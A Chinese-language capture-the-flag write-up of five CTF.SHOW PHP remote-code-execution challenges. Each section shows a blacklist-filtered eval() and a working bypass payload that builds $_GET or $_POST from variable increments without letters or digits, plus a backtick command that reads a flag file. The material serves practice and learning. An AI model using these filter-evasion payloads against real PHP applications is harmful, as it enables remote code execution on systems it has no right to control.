抽空做了一下CTF.SHOW的RCE挑战题目,

温习旧知识的同时也学到了一些新的灵活运用变量自增来实现RCE的方法。

在此做一个记录^^。

0x00 RCE挑战1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

简单,反引号绕过即可:code=echo `cat /f1agaaa`;

0x01 RCE挑战2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

因为过滤了$ctfshow值中的所有数字和字母,考虑变量自增,涉及到PHP的知识点:

<?php
$a = []._;
//$a为“Array_”
echo $a[0];
//会输出:A
$b = $a[0];
echo ++$b;
//会输出:B
?>

因为数字也过滤掉了,变量名可以用下划线替代,$a[0]中的数字0也可以用下划线替代。

<?php
$_ = []._;
echo $_[_];
//输出:A
?>

拼出$_GET[_]($_GET[__]):

$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);

因为中间件会解码一次,所以还需要URL全编码一次:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

0x02 RCE挑战3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

和挑战2比多了一个字数限制,黑名单也发生了变化。所以上一个方法不行了。

同样考虑变量自增,涉及到PHP的知识点:

<?php
$_=(0/0)._;
echo $_[_];
//输出N
?>

剩下的和挑战2类似,拼出$_POST[0]($_POST[1])

<?php
$_=(0/0)._;
$_=$_[_];
$__=++$_;
$__=$__.$__++;
++$_;++$_;++$_;++$_;
$__=_.$__.$_.++$_;
$$__[0]($$__[1]);
?>

0x03 RCE挑战4

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

与挑战3相比,修改了黑名单和payload最大长度限制。尝试优化了挑战3的payload

$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$__=$__.++$_.++$_;$$__[_]($$__[__]);

0x04 RCE挑战5

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这次除了长度再次缩短外,甚至不允许输入数字。输入符合黑名单规则又长度大于73的字符串。

构造payload,尽量把变量和🐎都设置为一个长度的字符,涉及到一个小知识点,PHP的变量名可以用不可见字符,所以URL全编码后我把这里的a都替换成了%FA

<?php
$_=(_/_._)[_];//N
$_++;//O
$a=$_.$_++;//PO
$_++;$_++;//R
$a=_.$a.++$_.++$_;//_POST
$$a[_]($$a[a]);
?>